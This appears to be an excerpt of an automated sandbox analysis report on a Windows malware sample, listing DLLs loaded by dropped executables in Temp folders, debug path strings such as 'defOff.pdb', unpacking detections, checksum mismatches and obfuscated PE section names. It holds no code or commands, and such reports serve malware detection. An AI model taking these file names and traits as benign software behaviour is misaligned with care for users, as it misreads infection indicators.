Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Section loaded: winmm.dll

Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2959872 > 1048576

Source: file.exe

Static PE information: Raw size of ltxhxmdn is bigger than: 0x100000 < 0x2a6e00

Source:	Binary string: my_library.pdbU source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: BitLockerToGo.pdb source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmp, F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000003.1717692280.0000000005310000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000003.2247205275.00000000054B0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000002.2380720638.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2421769147.0000000000682000.00000040.00000001.01000000.00000011.sdmp, 4264524541.exe, 00000010.00000003.2288361449.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000011.00000002.2411769379.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000011.00000003.2368137194.0000000004870000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000003.2454647364.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000002.2497872091.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000003.2503551142.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000002.2630519473.00000000003F2000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Unpacked PE file: 3.2.F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.610000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Unpacked PE file: 4.2.M20I1ZOZUN9VGSWFO63POXM.exe.fc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.fc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.fc0000.1.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Unpacked PE file: 12.2.8301009305.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 13.2.axplong.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 14.2.axplong.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Unpacked PE file: 15.2.de057a4668.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Unpacked PE file: 16.2.4264524541.exe.680000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Unpacked PE file: 17.2.de057a4668.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Unpacked PE file: 19.2.de057a4668.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 20.2.axplong.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Unpacked PE file: 22.2.SWB92CTM4OIX4M9DCKIEYGOPF.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Unpacked PE file: 23.2.BJD5F4VU6P78HSX8.exe.1e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Unpacked PE file: 25.2.9de8348ea3.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W;sqhbpttq:EW;eaurdqdn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sqhbpttq:EW;eaurdqdn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Unpacked PE file: 26.2.cc1af330ba.exe.5a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iuotgoma:EW;ujumrvwn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iuotgoma:EW;ujumrvwn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: real checksum: 0x1d44b0 should be: 0x1da590
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2cf548 should be: 0x2d806d
Source: random[2].exe.20.dr	Static PE information: real checksum: 0x21457b should be: 0x211c49
Source: 4264524541.exe.6.dr	Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: cc1af330ba.exe.20.dr	Static PE information: real checksum: 0x21457b should be: 0x211c49
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: a55050ee6f.exe.6.dr	Static PE information: real checksum: 0xee21b should be: 0x23e28
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1d44b0 should be: 0x1da590
Source: axplong.exe.12.dr	Static PE information: real checksum: 0x1d3982 should be: 0x1df3d5
Source: 8301009305.exe.6.dr	Static PE information: real checksum: 0x1d3982 should be: 0x1df3d5
Source: file.exe	Static PE information: real checksum: 0x2df4f3 should be: 0x2e27eb
Source: 69f64d774a.exe.20.dr	Static PE information: real checksum: 0x2cf548 should be: 0x2d806d
Source: de057a4668.exe.6.dr	Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: random[3].exe.6.dr	Static PE information: real checksum: 0x21457b should be: 0x6af3e
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d3982 should be: 0x1df3d5
Source: 9de8348ea3.exe.6.dr	Static PE information: real checksum: 0x2cf548 should be: 0x2d806d
Source: 90f56e27b8.exe.6.dr	Static PE information: real checksum: 0x21457b should be: 0x6af3e
Source: random[2].exe.6.dr	Static PE information: real checksum: 0xee21b should be: 0x23e28
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: real checksum: 0x1d44b0 should be: 0x1da590

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ltxhxmdn
Source: file.exe	Static PE information: section name: yjtwrlhc
Source: file.exe	Static PE information: section name: .taggant
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name:
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name: .idata
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name: sgyfneub
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name: wyedghxm
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name: .taggant
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name:
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name: .idata
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name:
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name: dqejjcio
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name: gfikdque
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: dqejjcio
Source: skotes.exe.4.dr	Static PE information: section name: gfikdque
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: wintoolsone64[1].exe.6.dr	Static PE information: section name: .symtab
Source: wintoolsone64.exe.6.dr	Static PE information: section name: .symtab
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: sqhbpttq
Source: random[1].exe.6.dr	Static PE information: section name: eaurdqdn
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 9de8348ea3.exe.6.dr	Static PE information: section name:
Source: 9de8348ea3.exe.6.dr	Static PE information: section name: .idata
Source: 9de8348ea3.exe.6.dr	Static PE information: section name: sqhbpttq
Source: 9de8348ea3.exe.6.dr	Static PE information: section name: eaurdqdn
Source: 9de8348ea3.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: fzmtnikz
Source: random[1].exe0.6.dr	Static PE information: section name: dagikpkj
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: .rsrc
Source: random[3].exe.6.dr	Static PE information: section name: .idata
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: iuotgoma
Source: random[3].exe.6.dr	Static PE information: section name: ujumrvwn
Source: random[3].exe.6.dr	Static PE information: section name: .taggant
Source: 8301009305.exe.6.dr	Static PE information: section name:
Source: 8301009305.exe.6.dr	Static PE information: section name: .idata
Source: 8301009305.exe.6.dr	Static PE information: section name:
Source: 8301009305.exe.6.dr	Static PE information: section name: fzmtnikz
Source: 8301009305.exe.6.dr	Static PE information: section name: dagikpkj
Source: 8301009305.exe.6.dr	Static PE information: section name: .taggant
Source: 90f56e27b8.exe.6.dr	Static PE information: section name:
Source: 90f56e27b8.exe.6.dr	Static PE information: section name: .rsrc
Source: 90f56e27b8.exe.6.dr	Static PE information: section name: .idata
Source: 90f56e27b8.exe.6.dr	Static PE information: section name:
Source: 90f56e27b8.exe.6.dr	Static PE information: section name: iuotgoma
Source: 90f56e27b8.exe.6.dr	Static PE information: section name: ujumrvwn
Source: 90f56e27b8.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name: sgyfneub
Source: random[1].exe1.6.dr	Static PE information: section name: wyedghxm
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: de057a4668.exe.6.dr	Static PE information: section name:
Source: de057a4668.exe.6.dr	Static PE information: section name: .idata
Source: de057a4668.exe.6.dr	Static PE information: section name: sgyfneub
Source: de057a4668.exe.6.dr	Static PE information: section name: wyedghxm
Source: de057a4668.exe.6.dr	Static PE information: section name: .taggant
Source: 4264524541.exe.6.dr	Static PE information: section name:
Source: 4264524541.exe.6.dr	Static PE information: section name: .idata
Source: 4264524541.exe.6.dr	Static PE information: section name: sgyfneub
Source: 4264524541.exe.6.dr	Static PE information: section name: wyedghxm
Source: 4264524541.exe.6.dr	Static PE information: section name: .taggant
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name:
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name: .idata
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name: sgyfneub
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name: wyedghxm
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name: .taggant
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name:
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name: .idata
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name:
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name: dqejjcio
